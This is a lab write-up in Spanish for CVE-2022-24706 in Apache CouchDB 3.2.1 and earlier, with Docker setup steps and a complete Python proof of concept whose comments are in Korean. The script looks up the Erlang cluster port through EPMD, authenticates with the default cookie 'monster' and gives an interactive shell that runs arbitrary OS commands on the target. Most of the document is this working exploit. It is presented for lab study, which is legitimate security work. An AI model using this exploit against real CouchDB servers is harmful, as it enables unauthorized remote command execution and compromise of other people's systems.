
Prueba de concepto de exploit para CVE-2022-24706 dirigido a Apache CouchDB 3.2.1 y versiones anteriores. Demuestra la ejecución remota de comandos a través del Protocolo de Distribución de Erlang utilizando autenticación por cookie predeterminada.
Colaboradores
Apache CouchDB es una base de datos NoSQL de tipo documento (Document-Oriented) de código abierto implementada en Erlang.
Dado que Apache CouchDB está desarrollado en Erlang, admite de forma nativa la computación distribuida (clúster). Los nodos del clúster se comunican entre sí mediante el Protocolo de Distribución de Erlang/OTP, y a través de este protocolo se pueden ejecutar comandos del sistema operativo (OS) con los privilegios del usuario que ejecuta CouchDB.
Para ejecutar comandos del sistema operativo es necesario conocer la cadena de autenticación (frase secreta) que Erlang denomina Cookie. En las versiones de CouchDB 3.2.1 e inferiores, el valor de Cookie predeterminado se establece como monster durante la instalación. Un atacante que conozca este valor puede superar la autenticación y ejecutar comandos del sistema operativo de forma remota.
Referencias:
Para realizar este laboratorio se requiere el siguiente entorno:
En macOS con Apple Silicon (M1/M2/M3) pueden aparecer advertencias relacionadas con la plataforma de la imagen. En la mayoría de los casos, Docker Desktop emula y ejecuta automáticamente las imágenes amd64, por lo que no se requiere ninguna acción adicional. Si el contenedor no se ejecuta correctamente, se puede añadir la opción platform: linux/amd64 al servicio couchdb en docker-compose.yml.
Si Python 3 no está instalado, se puede instalar con los siguientes comandos:
sudo apt update
sudo apt install -y python3
Ejecute el siguiente comando para poner en marcha el entorno Apache CouchDB 3.2.1.
docker compose up -d
Una vez que el servicio esté en ejecución, los siguientes 3 puertos quedarán abiertos en target-ip:
En un entorno real, el puerto de la interfaz web (5984) y el puerto del servicio EPMD (4369) son fijos, pero el puerto de comunicación del clúster puede cambiar en cada ejecución. Por lo tanto, se puede acceder al servicio EPMD para averiguar el número de puerto de comunicación del clúster que se está utilizando actualmente.
Si Apache CouchDB se ejecuta correctamente, se puede consultar la información de versión en http://target-ip:5984.

Esta vulnerabilidad se produce cuando se cumplen las siguientes condiciones:
monster).docker compose up -d
python3 poc.py target-ip 4369
El PoC consulta al servicio EPMD el número de puerto de comunicación del clúster en uso y, a continuación, realiza la autenticación del protocolo Erlang Distribution utilizando la cookie predeterminada (monster).
Una vez completada la autenticación, se puede introducir el comando de sistema operativo deseado para comprobar si se produce la ejecución remota de comandos.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024